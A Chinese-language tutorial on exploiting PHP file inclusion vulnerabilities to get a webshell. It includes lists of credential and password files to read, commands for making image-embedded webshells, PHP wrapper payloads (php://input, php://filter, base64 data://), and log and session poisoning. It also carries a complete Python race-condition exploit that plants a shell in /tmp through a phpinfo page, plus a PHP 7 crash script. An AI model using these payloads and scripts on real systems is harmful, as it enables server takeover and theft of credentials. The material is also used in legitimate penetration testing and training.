文件包含利用思路
文件包含简介
开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为包含。
为了使代码更加灵活,通常会将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
文件包含漏洞的环境要求
· 变量可控 · allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据 (远程包含条件) · allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件 (本地包含条件)
绕过有后缀限制的包含
①使用%00 截断:
使用条件:
为当前php版本小于5.3.4否则无法使用且还需要关闭魔术引号(magic_quotes_gpc=off)
②长度截断(利用垃圾字符填充):
Windows 长度最长为256
Linux 长度最长为4096
一、利用思路:
①包含一些敏感的配置文件;
②配合图片马
③配合php伪协议
④配合日志文件
⑤配合session文件
⑥利用临时文件
二、实现方法
1、包含一些敏感的配置文件;
Windows
# Windows系统的一个基本系统配置文件C:\Windows\win.ini # 查看系统版本c:\boot.ini # IIS配置文件c:\windows\system32\inetsrv\MetaBase.xml # 存储Windows系统初次安装的密码c:\windows\repair\sam # MySQL配置c:\ProgramFiles\mysql\my.ini # MySQL root密码c:\ProgramFiles\mysql\data\mysql\user.MYD # php 配置信息c:\windows\php.ini
Linux
# 账户信息/etc/passwd # 账户密码文件/etc/shadow # Apache2默认配置文件/usr/local/app/apache2/conf/httpd.conf # 虚拟网站配置/usr/local/app/apache2/conf/extra/httpd-vhost.conf # PHP 配置文件/usr/local/app/php5/lib/php.ini # Apache 配置文件/etc/httpd/conf/httpd.conf # MySQL 配置文件/etc/my.conf
2、配合图片马
文件包含能够配合图片马,是因为文件包含能使得任意文件都以后端脚本形式进行执行,如php的站就会将图片以php的方式执行一遍,这才有了图片马的配合从而getshell
php 为例
#写入一句话并保存为shell.php文件');?>
生成图片木马(Windows)命令
1.jpg为正常图片,shell.php为写入的一句话木马
copy 1.jpg/b+shell.php shell.jpg
将其上传至服务器再进行文件包含就能利用到了
访问文件是存在该图片
此时还是不存在shell.php文件
进行包含 再次验证
此时可以对比发现shell.php不再出现Not Fund错误了
进行执行phpinfo()
成功执行, 说明命令成功 已经可以getshell了
3、配合PHP伪协议
各协议的利用条件和用法
php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
注:当enctype=”multipart/form-data”时,php://input是无效的,以及需要开启all_url_include才能使用。
http://192.168.8.10/include.php?filename=php://input POST:
php://filter
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。
http://192.168.8.10/include.php?filename=php://filter/read=convert.base64-encode/resource=shell.php
data://
数据流封装器,以GET传递相应格式的数据。通常可以用来执行PHP代码。
1、data://text/plain,http://192.168.8.10/include.php?filename=data://text/plain,
2、data://text/plain;base64,http://192.168.8.10/include.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
这里只简单列举了三种方法。
4、配合日志文件
利用条件:知道日志文件的存储路径,并且日志文件可读。
利用用户发起请求成功后服务器就会将其请求到的相应信息记录到access.log日志中, 从而配置利用日志文件包含, 不过要注意的是在写入一句话时, url会进行编码, 所以用burp抓包请求后再放出或者利用curl命令也行
可以通过猜测常见日志文件的路径进行读取, 或者利用phpinfo页面进行确定log位置(查找 server root 关键词)
进行包含
http://192.168.8.10/include.php?filename=C:\\phpStudy\\PHPTutorial\\Apache\\logs\\access.log
5、配合session文件
常见的php-session存放位置:
1./var/lib/php/sess_PHPSESSID
2./var/lib/php/sess_PHPSESSID
3./tmp/sess_PHPSESSID
4./tmp/sessions/sess_PHPSESSID
也可以利用phpinfo(session.save_path)读取到session文件所在
session 的文件名格式为 sess_[phpsessid]。而 phpsessid 在发送的请求的 cookie 字段中可以看到
要想利用就得要有请求登录, 这里可以借助phpmyadmin平台
6、利用临时文件
① 利用能访问的phpinfo页面,对其一次发送大量数据造成临时文件没有及时被删除
利用方法简述:
在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。
同时,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES变量的内容,自然也包含临时文件名。
在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。
但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。
这个时候就需要用到条件竞争,具体流程如下:
1、发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据
2、因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大
3、php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接
4、所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包
5、此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除
6、利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell
存在phpinfo页面
条件竞争EXP
#!/usr/bin/python import sysimport threadingimport socket def setup(host, port): TAG="Security Test" PAYLOAD="""%s\r')?>\r""" % TAG REQ1_DATA="""-----------------------------7dbff1ded0714\rContent-Disposition: form-data; name="dummyname"; filename="test.txt"\rContent-Type: text/plain\r\r%s-----------------------------7dbff1ded0714--\r""" % PAYLOAD padding="A" * 5000 REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\rCookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\rHTTP_ACCEPT: """ + padding + """\rHTTP_USER_AGENT: """+padding+"""\rHTTP_ACCEPT_LANGUAGE: """+padding+"""\rHTTP_PRAGMA: """+padding+"""\rContent-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\rContent-Length: %s\rHost: %s\r\r%s""" %(len(REQ1_DATA),host,REQ1_DATA) #modify this to suit the LFI script LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\rUser-Agent: Mozilla/4.0\rProxy-Connection: Keep-Alive\rHost: %s\r\r\r""" return (REQ1, TAG, LFIREQ) def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s2.connect((host, port)) s.send(phpinforeq) d = "" while len(d) < offset: d += s.recv(offset) try: i = d.index("[tmp_name] => ") fn = d[i+17:i+31] except ValueError: return None s2.send(lfireq % (fn, host)) d = s2.recv(4096) s.close() s2.close() if d.find(tag) != -1: return fn counter=0class ThreadWorker(threading.Thread): def __init__(self, e, l, m, *args): threading.Thread.__init__(self) self.event = e self.lock = l self.maxattempts = m self.args = args def run(self): global counter while not self.event.is_set(): with self.lock: if counter >= self.maxattempts: return counter+=1 try: x = phpInfoLFI(*self.args) if self.event.is_set(): break if x: print "Got it! Shell created in /tmp/g" self.event.set() except socket.error: return def getOffset(host, port, phpinforeq): """Gets offset of tmp_name in the php output""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(phpinforeq) d = "" while True: i = s.recv(4096) d+=i if i == "": break # detect the final chunk if i.endswith("0\r\r"): break s.close() i = d.find("[tmp_name] => ") if i == -1: raise ValueError("No php tmp_name in phpinfo output") print "found %s at %i" % (d[i:i+10],i) # padded up a bit return i+256 def main(): print "LFI With PHPInfo()" print "-=" * 30 if len(sys.argv) < 2: print "Usage: %s host [port] [threads]" % sys.argv[0] sys.exit(1) try: host = socket.gethostbyname(sys.argv[1]) except socket.error, e: print "Error with hostname %s: %s" % (sys.argv[1], e) sys.exit(1) port=80 try: port = int(sys.argv[2]) except IndexError: pass except ValueError, e: print "Error with port %d: %s" % (sys.argv[2], e) sys.exit(1) poolsz=10 try: poolsz = int(sys.argv[3]) except IndexError: pass except ValueError, e: print "Error with poolsz %d: %s" % (sys.argv[3], e) sys.exit(1) print "Getting initial offset...", reqphp, tag, reqlfi = setup(host, port) offset = getOffset(host, port, reqphp) sys.stdout.flush() maxattempts = 1000 e = threading.Event() l = threading.Lock() print "Spawning worker pool (%d)..." % poolsz sys.stdout.flush() tp = [] for i in range(0,poolsz): tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag)) for t in tp: t.start() try: while not e.wait(1): if e.is_set(): break with l: sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts)) sys.stdout.flush() if counter >= maxattempts: break print if e.is_set(): print "Woot! \m/" else: print ":(" except KeyboardInterrupt: print "Telling threads to shutdown..." e.set() print "Shuttin' down..." for t in tp: t.join() if __name__=="__main__": main()
创建成功在/tmp/g文件
通过请求尝试执行phpinfo()
②PHP版本<7.2,利用php崩溃留下临时文件
php7 segment fault特性
段错误(segment fault)就是指访问的内存超过了系统所给这个程序的内存空间。从而发生程序退出。缓存文件就留在了tmp目录
向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留
php < 7.2
Linux:php://filter/string.strip_tags/resource=/etc/passwd Windowsphp://filter/string.strip_tags/resource=C:/Windows/win.ini
php7 老版本通杀
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
PY代码如下:
import requestsfrom io import BytesIOimport re payload = ""file_data = { 'file': BytesIO(payload.encode())}url = "http://127.0.0.1/include.php?"\ +"filename=php://filter/string.strip_tags/resource=C:/Windows/win.ini"r = requests.post(url=url, files=file_data, allow_redirects=False)
成功利用上包含了该临时文件
